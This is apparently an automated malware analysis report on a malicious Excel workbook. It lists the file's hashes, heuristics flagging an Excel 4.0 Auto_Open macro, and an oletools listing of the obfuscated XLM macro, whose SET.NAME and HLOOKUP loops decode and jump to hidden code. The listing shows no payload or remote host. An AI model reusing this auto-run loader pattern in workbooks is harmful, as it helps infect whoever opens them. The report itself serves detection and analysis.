Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5072c96c3d2642a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:53 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 530c7bb04f0d64f833bf090fb310fe10 SHA-1: 39221b86782fb0dbed8c8c06c98f865463062556 SHA-256: d5072c96c3d2642a7e931ce79cd6e151ca04cbfb977c2e46243ae45a09ec4840
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6668 bytes
SHA-256: d527419703b25521cffc1f92a4aa27d9eab816aaff001b1a8b7a80ef41c35df6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zQotfq
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B182 
' 0018     20 LABEL : Cell Value, String Constant - BhzOI len=0 
' 0018     21 LABEL : Cell Value, String Constant - CjzWnd len=0 
' 0018     25 LABEL : Cell Value, String Constant - dFnjzbYWlF len=0 
' 0018     20 LABEL : Cell Value, String Constant - eAxPF len=0 
' 0018     23 LABEL : Cell Value, String Constant - flCBKEfe len=0 
' 0018     21 LABEL : Cell Value, String Constant - GzHkdf len=0 
' 0018     25 LABEL : Cell Value, String Constant - joJTNiTeGE len=0 
' 0018     22 LABEL : Cell Value, String Constant - kYPfPIz len=0 
' 0018     26 LABEL : Cell Value, String Constant - NawTjgnQAPP len=0 
' 0018     25 LABEL : Cell Value, String Constant - OGDUjXexAV len=0 
' 0018     22 LABEL : Cell Value, String Constant - OtqLAiu len=0 
' 0018     22 LABEL : Cell Value, String Constant - PStPxCF len=0 
' 0018     26 LABEL : Cell Value, String Constant - pzQcolAvdOf len=0 
' 0018     21 LABEL : Cell Value, String Constant - qGVsYE len=0 
' 0018     25 LABEL : Cell Value, String Constant - rFkTHMfCQX len=0 
' 0018     26 LABEL : Cell Value, String Constant - SNRhXplHkEw len=0 
' 0018     27 LABEL : Cell Value, String Constant - TQVPiQLOlFhU len=0 
' 0018     27 LABEL : Cell Value, String Constant - UETGeSxmotRO len=0 
' 0018     23 LABEL : Cell Value, String Constant - UfVdfcro len=0 
' 0018     20 LABEL : Cell Value, String Constant - wRIGl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zQotfq,B98,"SET.NAME("NawTjgnQAPP",0+VALUE("0"))",""
'  zQotfq,T98,"",-653.00000000000000000000
'  zQotfq,T99,"",997.00000000000000000000
'  zQotfq,T100,"",-858.00000000000000000000
'  zQotfq,T101,"",654.00000000000000000000
'  zQotfq,T102,"",766.00000000000000000000
'  zQotfq,B103,"SET.NAME("eAxPF",NawTjgnQAPP)",""
'  zQotfq,T103,"",-295.00000000000000000000
'  zQotfq,B106,"SET.NAME("CjzWnd",NawTjgnQAPP)",""
'  zQotfq,B109,"SET.NAME("BhzOI",COUNTA(OtqLAiu))",""
'  zQotfq,B112,"SET.NAME("pzQcolAvdOf",COUNTA(joJTNiTeGE))",""
'  zQotfq,B115,[],""
'  zQotfq,B119,"SET.NAME("wRIGl","")",""
'  zQotfq,B122,"eAxPF",""
'  zQotfq,B126,"SET.NAME("PStPxCF",HLOOKUP("*",OtqLAiu,eAxPF,FALSE))",""
'  zQotfq,B129,"TQVPiQLOlFhU",""
'  zQotfq,B134,"SET.NAME("kYPfPIz",NawTjgnQAPP)",""
'  zQotfq,B136,[],""
'  zQotfq,B139,"kYPfPIz",""
'  zQotfq,B141,"dFnjzbYWlF",""
'  zQotfq,B146,"UETGeSxmotRO",""
'  zQotfq,B150,"OGDUjXexAV",""
'  zQotfq,B154,"SET.NAME("SNRhXplHkEw",VALUE(HLOOKUP("*",joJTNiTeGE,OGDUjXexAV,FALSE)))",""
'  zQotfq,B156,"UfVdfcro",""
'  zQotfq,B158,"wRIGl",""
'  zQotfq,B162,"CjzWnd",""
'  zQotfq,B164,NEXT(),""
'  zQotfq,B167,"qGVsYE",""
'  zQotfq,B170,[],""
'  zQotfq,B172,"flCBKEfe",""
'  zQotfq,B175,NEXT(),""
'  zQotfq,B177,RETURN(),""
'  zQotfq,B199,"SET.NAME("GzHkdf",B98)",""
'  zQotfq,B201,"OtqLAiu",""
'  zQotfq,B205,"SET.NAME("joJTNiTeGE",R62C12)",""
'  zQotfq,B208,"SET.NAME("flCBKEfe",214)",""
'  zQotfq,B210,"SET.NAME("rFkTHMfCQX",2)",""
'  zQotfq,B213,GzHkdf(),""
'  zQotfq,B214,HALT(),""